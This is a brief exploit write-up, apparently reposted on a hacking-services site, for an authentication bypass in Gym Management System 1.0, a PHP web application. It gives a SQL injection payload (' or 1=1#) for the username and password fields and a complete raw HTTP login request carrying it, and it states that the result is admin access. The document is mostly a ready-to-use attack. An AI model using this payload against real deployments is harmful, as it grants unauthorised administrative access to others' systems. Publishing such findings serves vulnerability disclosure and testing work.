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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Gym Management System 1.0 - Authentication Bypass
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/gym/gym/login.php

Step 2: use payload jyot' or 1=1# in Username and Password field

Malicious Request

POST /gym/gym/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Origin: http://localhost
Connection: close
Referer: http://localhost/gym/gym/login.php
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re; laravel_session=eyJpdiI6IlBXakg2NzB1cVBEWVZtemIwVzZ6NVE9PSIsInZhbHVlIjoiU2dsaTN1alRCXC9cL1I5dnNzRDlPRDlXTDZ4UUFiakhlN0JLVzB4MnpOVVZibnpISDNFS1k3YjdzWWM2UWRzVEZyIiwibWFjIjoiZGRmODE1NGFhN2JhY2U2NTNhOWU1MzViMjFjYWExM2UzNzYwN2QzZDZmNDQwNjcyMjA1MjJiYTI2NDU2Y2Q1MSJ9; XSRF-TOKEN=eyJpdiI6IlBSMFVNT3NoYkNNVTRpQzNDRHNDNXc9PSIsInZhbHVlIjoiSmF2WXRabHhCZHNZdVlmd1RGeU1pakdoT2JQaWdvcFgzK1QzeFJ6YzRiVGZ5VGdMcmp6SlMrbVl4cnZucG9OZSIsIm1hYyI6Ijc2NzA5MjYzM2E2NjgwMWZlZmFlM2JlOTI2ZmI2YTA3NmE2M2FiYjdlN2E2NzI1NmVhZjA2N2FmOTgwOTlkZGUifQ%3D%3D

username=jyot'+or+1%3D1+%23&password=jyot'+or+1%3D1+%23

Step 3: You will be logged in as admin.